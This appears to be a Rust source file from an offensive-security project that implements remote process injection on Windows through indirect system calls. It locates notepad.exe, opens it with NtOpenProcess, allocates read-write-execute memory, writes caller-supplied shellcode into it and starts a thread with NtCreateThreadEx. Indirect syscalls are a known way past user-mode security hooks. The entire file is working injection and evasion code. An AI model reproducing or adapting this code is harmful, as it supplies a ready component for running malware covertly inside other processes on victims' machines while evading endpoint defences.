/*
    Implementing indirect system calls using Single stub with runtime SSN resolving for windows.
    by @5mukx
*/

use std::ffi::CString;
use std::mem::size_of;
use std::ptr::null_mut;
use std::os::raw::c_void;
use ntapi::ntapi_base::CLIENT_ID;
use winapi::shared::ntdef::{NULL, OBJECT_ATTRIBUTES};
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::winnt::{GENERIC_EXECUTE, HANDLE, PAGE_EXECUTE_READWRITE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE};
use winapi::um::handleapi::CloseHandle;
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};

use rust_syscalls::syscall;



fn get_pid(process_name: &str) -> u32{
    unsafe{
        let mut pe: PROCESSENTRY32 = std::mem::zeroed();
        pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;

        let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if snap.is_null(){
            println!("Error while snapshoting processes : Error : {}",GetLastError());
            std::process::exit(0);
        }

        let mut pid = 0;

        let mut result = Process32First(snap, &mut pe) != 0;

        while result{

            let exe_file = CString::from_vec_unchecked(pe.szExeFile
                .iter()
                .map(|&file| file as u8)
                .take_while(|&c| c!=0)
                .collect::<Vec<u8>>(),
            );

            if exe_file.to_str().unwrap() == process_name {
                pid = pe.th32ProcessID;
                break;
            }
            result = Process32Next(snap, &mut pe) !=0;
        }

        if pid == 0{
            println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");           
            std::process::exit(0);
        }
    
        CloseHandle(snap);
        pid
    }
}


pub fn inject_indirect_syscalls(shellcode: &[u8]){
    
    unsafe{
        let mut status; 
        let process_name = "notepad.exe";

        let pid: u32 = get_pid(process_name);
        let mut process_handle: HANDLE = null_mut();
    
        // Initialize Object Attributes
        // Set up CLIENT_ID
        // looks like this does not work !
        
        let mut client_id: CLIENT_ID = std::mem::zeroed();
        client_id.UniqueProcess = pid as _;
        client_id.UniqueThread = 0 as _;
    
        let mut oa: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES {
            Length: size_of::<OBJECT_ATTRIBUTES>() as _,
            RootDirectory: NULL,
            ObjectName: NULL as _,
            Attributes: 0,
            SecurityDescriptor: NULL,
            SecurityQualityOfService: NULL,
        };


        status = syscall!(
            "NtOpenProcess", 
            &mut process_handle as *mut _,
            PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
            &mut oa,
            &client_id as *const _
        );
    
        if status != 0 {
            eprintln!("Failed to open target process: 0x{:X}", status);
            return;
        }

        println!("NtOpenProcess Opened Successfully: {:?}", status);
    
        println!("Successfully opened process with handle: {:?}", process_handle);
    
        let mut base_address: *mut c_void = null_mut();
        let mut region_size: usize = 4096; // Allocate 4KB

        // Allocate memory
        status = syscall!(
            "NtAllocateVirtualMemory",
            process_handle,
            &mut base_address as *mut _,
            0,
            &mut region_size,
            0x1000 | 0x2000, // MEM_COMMIT | MEM_RESERVE
            PAGE_EXECUTE_READWRITE
        );

        if status != 0 {
            eprintln!("Failed to allocate memory: 0x{:X}", status);
            // Clean up: Close the opened process handle
            syscall!("NtClose", process_handle);
            return;
        }

        println!("NtAllocateVirtualMemory Success: {}", status);
        println!("Successfully allocated memory at: {:?}, size: {} bytes", base_address, region_size);

        let mut bytes_written: usize = 0;
        
        status = syscall!(
            "NtWriteVirtualMemory",
            process_handle,
            base_address,
            shellcode.as_ptr() as *const _,
            shellcode.len(),
            &mut bytes_written
        );

        if status != 0 {
            eprintln!("Failed to write shellcode: 0x{:X}", status);
            let free_status = syscall!(
                "NtFreeVirtualMemory",
                process_handle,
                &mut base_address as *mut _,
                &mut region_size as *mut _,
                0x8000 // MEM_RELEASE
            );
            if free_status != 0 {
                eprintln!("Failed to free memory: 0x{:X}", free_status);
            }
            syscall!("NtClose", process_handle);
            return;
        }

        println!("Successfully wrote shellcode to memory. Bytes written: {}", bytes_written);

        // Execute the shellcode using NtCreateThreadEx
        let mut thread_handle: HANDLE = null_mut();
        
        status = syscall!(
            "NtCreateThreadEx",
            &mut thread_handle as *mut _,
            GENERIC_EXECUTE, // THREAD_ALL_ACCESS
            NULL,
            process_handle,
            base_address,
            NULL,
            0, // Not suspended
            0,
            0,
            0,
            NULL
        );

        if status != 0 {
            eprintln!("Failed to create thread: 0x{:X}", status);
            let free_status = syscall!(
                "NtFreeVirtualMemory",
                process_handle,
                &mut base_address as *mut _,
                &mut region_size as *mut _,
                0x8000 // MEM_RELEASE
            );
            if free_status != 0 {
                eprintln!("Failed to free memory: 0x{:X}", free_status);
            }
            syscall!("NtClose", process_handle);
            return;
        }

        println!("NtCreateThreadEx Executed Successfully: {}", status);

        // Wait for thread to finish
        status = syscall!(
            "NtWaitForSingleObject",
            thread_handle,
            0,
            NULL
        );

        if status != 0 {
            eprintln!("Failed to wait for thread: 0x{:X}", status);
        }

        // Clean up
        syscall!("NtClose", thread_handle);

        // Free the allocated memory
        let free_status = syscall!(
            "NtFreeVirtualMemory",
            process_handle,
            &mut base_address as *mut _,
            &mut region_size as *mut _,
            0x8000 // MEM_RELEASE
        );
        if free_status != 0 {
            eprintln!("Failed to free memory: 0x{:X}", free_status);
        }

        // Close the process handle
        syscall!("NtClose", process_handle);

        println!("Shellcode execution completed. All resources cleaned up!");
    }
}
